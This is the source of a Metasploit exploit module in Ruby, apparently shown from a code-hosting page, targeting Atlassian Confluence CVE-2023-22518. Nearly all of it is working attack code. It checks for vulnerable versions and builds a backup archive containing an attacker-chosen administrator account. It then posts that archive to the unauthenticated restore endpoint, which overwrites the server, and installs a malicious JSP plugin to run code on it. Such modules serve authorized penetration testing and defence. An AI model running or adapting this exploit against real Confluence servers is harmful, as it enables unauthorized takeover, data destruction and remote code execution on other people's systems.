157 lines
6.9 KiB
Ruby
157 lines
6.9 KiB
Ruby
##
|
|
# This module requires Metasploit: https://metasploit.com/download
|
|
# Current source: https://github.com/rapid7/metasploit-framework
|
|
##
|
|
|
|
class MetasploitModule < Msf::Exploit::Remote
|
|
Rank = ExcellentRanking
|
|
|
|
include Msf::Exploit::Remote::HttpClient
|
|
include Msf::Exploit::Remote::HTTP::Atlassian::Confluence::Version
|
|
include Msf::Exploit::Remote::HTTP::Atlassian::Confluence::PayloadPlugin
|
|
|
|
prepend Msf::Exploit::Remote::AutoCheck
|
|
|
|
def initialize(info = {})
|
|
super(
|
|
update_info(
|
|
info,
|
|
'Name' => 'Atlassian Confluence Unauth JSON setup-restore Improper Authorization leading to RCE (CVE-2023-22518)',
|
|
'Description' => %q{
|
|
This Improper Authorization vulnerability allows an unauthenticated attacker to reset Confluence and create a
|
|
Confluence instance administrator account. Using this account, an attacker can then perform all
|
|
administrative actions that are available to Confluence instance administrator. This module uses the
|
|
administrator account to install a malicious .jsp servlet plugin which the user can trigger to gain code
|
|
execution on the target in the context of the of the user running the confluence server.
|
|
},
|
|
'Author' => [
|
|
'Atlassian', # Discovery
|
|
'jheysel-r7' # msf module
|
|
],
|
|
'References' => [
|
|
[ 'URL', 'https://jira.atlassian.com/browse/CONFSERVER-93142'],
|
|
[ 'CVE', '2023-22518']
|
|
],
|
|
'License' => MSF_LICENSE,
|
|
'Privileged' => false,
|
|
'Targets' => [
|
|
[
|
|
'Java',
|
|
{
|
|
'Platform' => 'java',
|
|
'Arch' => [ARCH_JAVA]
|
|
},
|
|
]
|
|
],
|
|
'DisclosureDate' => '2023-10-31',
|
|
'Notes' => {
|
|
'Stability' => [ CRASH_SAFE, ],
|
|
'SideEffects' => [ CONFIG_CHANGES, ], # Major config changes - this module overwrites the confluence server with an empty backup with known admin credentials
|
|
'Reliability' => [ REPEATABLE_SESSION, ]
|
|
}
|
|
)
|
|
)
|
|
|
|
register_options(
|
|
[
|
|
Opt::RPORT(8090),
|
|
OptString.new('NEW_USERNAME', [true, 'Username to be used when creating a new user with admin privileges', Faker::Internet.username], regex: /^[a-z._@]+$/),
|
|
OptString.new('NEW_PASSWORD', [true, 'Password to be used when creating a new user with admin privileges', Rex::Text.rand_text_alpha(8)]),
|
|
# The endpoint we target to trigger the vulnerability.
|
|
OptEnum.new('CONFLUENCE_TARGET_ENDPOINT', [true, 'The endpoint used to trigger the vulnerability.', '/json/setup-restore.action', ['/json/setup-restore.action', '/json/setup-restore-local.action', '/json/setup-restore-progress.action']]),
|
|
# We upload a new plugin, we need to wait for the plugin to be installed. This options governs how long we wait.
|
|
OptInt.new('CONFLUENCE_PLUGIN_TIMEOUT', [true, 'The timeout (in seconds) to wait when installing a plugin', 30])
|
|
]
|
|
)
|
|
end
|
|
|
|
def check
|
|
confluence_version = get_confluence_version
|
|
return Exploit::CheckCode::Unknown('Unable to determine the confluence version') unless confluence_version
|
|
|
|
# Confluence Server and Confluence Data Center have the same vulnerable version ranges.
|
|
if confluence_version.between?(Rex::Version.new('1.0.0'), Rex::Version.new('7.19.15')) ||
|
|
confluence_version.between?(Rex::Version.new('7.20.0'), Rex::Version.new('8.3.3')) ||
|
|
confluence_version.between?(Rex::Version.new('8.4.0'), Rex::Version.new('8.4.3')) ||
|
|
confluence_version.between?(Rex::Version.new('8.5.0'), Rex::Version.new('8.5.2')) ||
|
|
confluence_version == Rex::Version.new('8.6.0')
|
|
return Exploit::CheckCode::Appears("Exploitable version of Confluence: #{confluence_version}")
|
|
end
|
|
|
|
Exploit::CheckCode::Safe("Confluence version: #{confluence_version}")
|
|
end
|
|
|
|
# https://passlib.readthedocs.io/en/stable/lib/passlib.hash.atlassian_pbkdf2_sha1.html
|
|
def generate_hash(password)
|
|
salt = OpenSSL::Random.random_bytes(16)
|
|
iterations = 10000
|
|
digest = OpenSSL::Digest.new('SHA1')
|
|
|
|
key = OpenSSL::PKCS5.pbkdf2_hmac(password, salt, iterations, 32, digest)
|
|
salted_key = salt + key
|
|
encoded_hash = Base64.strict_encode64(salted_key)
|
|
|
|
'{PKCS5S2}' + encoded_hash
|
|
end
|
|
|
|
def create_zip
|
|
zip_file = Rex::Zip::Archive.new
|
|
|
|
# exportDescriptor.properties needs to be present in the zip file in order for it to be valid.
|
|
export_descriptor = File.read(File.join(Msf::Config.data_directory, 'exploits', 'CVE-2023-22518', 'exportDescriptor.properties'))
|
|
zip_file.add_file('exportDescriptor.properties', export_descriptor)
|
|
|
|
entities_xml = File.read(File.join(Msf::Config.data_directory, 'exploits', 'CVE-2023-22518', 'entities.xml'))
|
|
entities_xml.gsub!('NEW_USERNAME_LOWER', datastore['NEW_USERNAME'].downcase)
|
|
entities_xml.gsub!('NEW_USERNAME', datastore['NEW_USERNAME'])
|
|
entities_xml.gsub!('NEW_PASSWORD_HASH', generate_hash(datastore['NEW_PASSWORD']))
|
|
|
|
zip_file.add_file('entities.xml', entities_xml)
|
|
zip_file.pack
|
|
end
|
|
|
|
def upload_backup
|
|
zip_file = create_zip
|
|
post_data = Rex::MIME::Message.new
|
|
post_data.add_part('false', nil, nil, 'form-data; name="buildIndex"')
|
|
post_data.add_part('Upload and import', nil, nil, 'form-data; name="edit"')
|
|
post_data.add_part(zip_file, 'application/zip', 'binary', "form-data; name=\"file\"; filename=\"#{rand_text_alphanumeric(8..16)}\"")
|
|
|
|
data = post_data.to_s
|
|
res = send_request_cgi({
|
|
'uri' => normalize_uri(target_uri.path, datastore['CONFLUENCE_TARGET_ENDPOINT']),
|
|
'method' => 'POST',
|
|
'data' => data,
|
|
'ctype' => "multipart/form-data; boundary=#{post_data.bound}",
|
|
'keep_cookies' => true,
|
|
'headers' => {
|
|
'X-Atlassian-Token' => 'no-check'
|
|
},
|
|
'vars_get' => {
|
|
'synchronous' => 'true'
|
|
}
|
|
}, 120)
|
|
|
|
fail_with(Failure::UnexpectedReply, "The endpoint #{datastore['CONFLUENCE_TARGET_ENDPOINT']} did not respond with a 302 or a 200") unless res&.code == 302 || res&.code == 200
|
|
print_good("Exploit Success! Login Using '#{datastore['NEW_USERNAME']} :: #{datastore['NEW_PASSWORD']}'")
|
|
end
|
|
|
|
def exploit
|
|
print_status("Setting credentials: #{datastore['NEW_USERNAME']}:#{datastore['NEW_PASSWORD']}")
|
|
|
|
# Exploit CVE-2023-22518 by uploading a backup .zip file to confluence with an attacker defined username & password
|
|
upload_backup
|
|
|
|
# Now with admin access, upload a .jsp plugin using the PayloadPlugin mixin to gain RCE on the target system.
|
|
payload_endpoint = rand_text_alphanumeric(8)
|
|
plugin_key = rand_text_alpha(8)
|
|
begin
|
|
payload_plugin = generate_payload_plugin(plugin_key, payload_endpoint)
|
|
upload_payload_plugin(payload_plugin, datastore['NEW_USERNAME'], datastore['NEW_PASSWORD'])
|
|
trigger_payload_plugin(payload_endpoint)
|
|
ensure
|
|
delete_payload_plugin(plugin_key, payload_endpoint, datastore['NEW_USERNAME'], datastore['NEW_PASSWORD'])
|
|
end
|
|
end
|
|
end
|